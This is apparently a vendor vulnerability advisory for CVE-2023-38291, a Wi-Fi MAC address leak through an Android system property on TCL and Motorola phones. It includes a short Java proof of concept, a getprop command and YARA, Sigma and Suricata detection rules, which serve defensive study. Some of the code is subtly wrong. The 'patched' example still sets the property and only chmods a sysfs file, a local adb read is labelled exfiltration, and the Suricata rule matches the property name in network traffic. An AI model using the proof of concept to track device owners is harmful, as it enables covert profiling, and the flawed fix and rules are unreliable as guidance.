CVE-2023-38291

Executive Summary

CVE-2023-38291 exposes a critical information disclosure vulnerability in Android devices manufactured by TCL and Motorola. The flaw resides in a third-party component that writes the device’s Wi-Fi MAC address to the ro.boot.wifimacaddr system property. This property is readable by any local application without requiring any permissions, directly violating Android’s privacy model introduced in Android 10, which restricts non-resettable device identifier access. An attacker with a malicious app installed on a vulnerable device can silently exfiltrate the Wi-Fi MAC address, enabling device tracking, user profiling, and targeted attacks. The vulnerability affects multiple firmware builds for TCL 30Z, TCL 10L, Motorola Moto G Pure, and Motorola Moto G Power. No official patch has been released, leaving users exposed.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in Android devices, stemming from a third-party component integrated by the device manufacturers. The supply chain risk is high because the vulnerable component is pre-installed and cannot be removed by the user. The lack of a patch from TCL or Motorola means the vulnerability persists in the device’s base software.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability characteristics, a more accurate score would be:

• Attack Vector (AV): Local (AV:L) – requires app installation.
• Attack Complexity (AC): Low (AC:L) – no special conditions.
• Privileges Required (PR): None (PR:N) – no permissions needed.
• User Interaction (UI): None (UI:N) – no user action required.
• Scope (S): Unchanged (S:U) – affects only the device.
• Confidentiality (C): High (C:H) – leaks a unique device identifier.
• Integrity (I): None (I:N) – no data modification.
• Availability (A): None (A:N) – no denial of service.

CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Base Score: 6.2 (Medium) – due to local access requirement but high confidentiality impact.

Threat Level: Medium. The vulnerability requires local app installation, but the lack of permissions needed makes it easy to exploit via social engineering or bundled malware.

Deep Dive & Mechanics

The vulnerability stems from a third-party component that reads the Wi-Fi MAC address from the device’s bootloader or kernel and writes it to the ro.boot.wifimacaddr system property. This property is set during boot and is readable by any process with access to the getprop command or the Android system property API. In Android 10 and later, Google restricted direct access to non-resettable identifiers like the Wi-Fi MAC address, but this indirect leak bypasses those protections.

The affected devices include:

• TCL 30Z (A3X): Multiple firmware builds on Android 11.
• TCL 10L: Firmware on Android 10 and 11.
• Motorola Moto G Pure: Firmware on Android 11 and 12.
• Motorola Moto G Power: Firmware on Android 11 and 12.

The malicious app reads the property using SystemProperties.get("ro.boot.wifimacaddr") or via shell command getprop ro.boot.wifimacaddr. This requires no permissions because system properties are globally readable. The MAC address can then be used for tracking, fingerprinting, or as part of a larger attack chain.

Vulnerable vs. Patched Code

Vulnerable Code (Third-Party Component): The vulnerable component likely runs as a system service or init script that sets the property during boot. Example pseudocode:

# In init.rc or similar
on boot
    setprop ro.boot.wifimacaddr $(cat /sys/class/net/wlan0/address)

Patched Code (Hypothetical): A patch would remove the property write or restrict access to it. For example:

# Remove the property entirely
# setprop ro.boot.wifimacaddr ""

Or, use a permission-protected property:

# Only accessible by system apps
setprop ro.boot.wifimacaddr $(cat /sys/class/net/wlan0/address)
chmod 0600 /sys/class/net/wlan0/address

Since no official patch exists, users must rely on workarounds.

Exploitation & Lab Setup

Red Team

Objective: Exfiltrate Wi-Fi MAC address from a vulnerable device.

Prerequisites:

• A vulnerable device (e.g., TCL 30Z with build TCL/A600DL/Delhi_TF:11/RKQ1.201202.002/vAAZ:user/release-keys).
• Ability to install a malicious APK (e.g., via phishing or sideloading).

Exploit Code (Java/Android):

import android.os.SystemProperties;
import android.util.Log;

public class MacLeak {
    public static void main(String[] args) {
        String mac = SystemProperties.get("ro.boot.wifimacaddr", "unknown");
        Log.d("MacLeak", "Wi-Fi MAC: " + mac);
        // Exfiltrate via HTTP, DNS, etc.
    }
}

Lab Setup:

1. Set up an Android emulator with a vulnerable system image (e.g., TCL A600DL build).
2. Compile the exploit APK with no permissions.
3. Install the APK on the device.
4. Run the app and capture the MAC address from logcat or network traffic.

Exfiltration:

# Using ADB shell
adb shell getprop ro.boot.wifimacaddr

Blue Team

Detection:

• Monitor for apps reading ro.boot.wifimacaddr via getprop or SystemProperties.get.
• Look for unusual network traffic from apps with no permissions.
• Use Android’s logcat to detect property reads.

Prevention:

• Apply vendor patches if available.
• Use a firewall or MDM to block unknown apps.
• Educate users to avoid sideloading apps.

Hunting:

• Search for apps that call SystemProperties.get with ro.boot.wifimacaddr.
• Analyze app behavior for MAC address exfiltration.

Indicators of Compromise (IOCs)

• System Property Read: ro.boot.wifimacaddr accessed by a non-system app.
• Logcat Entry: D/MacLeak: Wi-Fi MAC: XX:XX:XX:XX:XX:XX
• Network Traffic: Outbound HTTP/DNS requests containing the MAC address.
• File Artifacts: Temporary files or logs containing MAC address strings.
• Process: App with no permissions reading system properties.

Detection Engineering

YARA Rule

rule android_mac_leak_cve_2023_38291 {
    meta:
        description = "Detects apps reading ro.boot.wifimacaddr system property"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-38291"
    strings:
        $s1 = "ro.boot.wifimacaddr" ascii wide nocase
        $s2 = "getprop" ascii wide nocase
        $s3 = "SystemProperties.get" ascii wide nocase
    condition:
        any of ($s1) and any of ($s2, $s3)
}

Sigma Rule

title: Android Wi-Fi MAC Address Leak via System Property
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects access to ro.boot.wifimacaddr system property by non-system apps
author: Valters IT
date: 2025-04-10
logsource:
    product: android
    service: logcat
detection:
    selection:
        - Message: "*ro.boot.wifimacaddr*"
        - Message: "*getprop ro.boot.wifimacaddr*"
    condition: selection
falsepositives:
    - System apps with legitimate access
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2023-38291 Android Wi-Fi MAC Leak Exfiltration";
    content:"ro.boot.wifimacaddr"; fast_pattern; nocase;
    content:"MAC"; distance:0; within:20;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Monitor for updates: Check TCL and Motorola support pages for firmware patches.
2. Restrict app installations: Only install apps from trusted sources (Google Play Store).
3. Use a firewall: Block network access for apps that don’t need it.
4. Review app permissions: Remove apps that request unnecessary permissions.

Long-term Fix:

• Vendor must remove the ro.boot.wifimacaddr property or restrict its access to system-level processes.
• Users should consider using a custom ROM that removes the vulnerable component.

Workaround:

• Root the device and modify the init.rc file to remove the property write.
• Use Xposed or Magisk modules to block access to the property.

Valters IT
Securing Digital Frontiers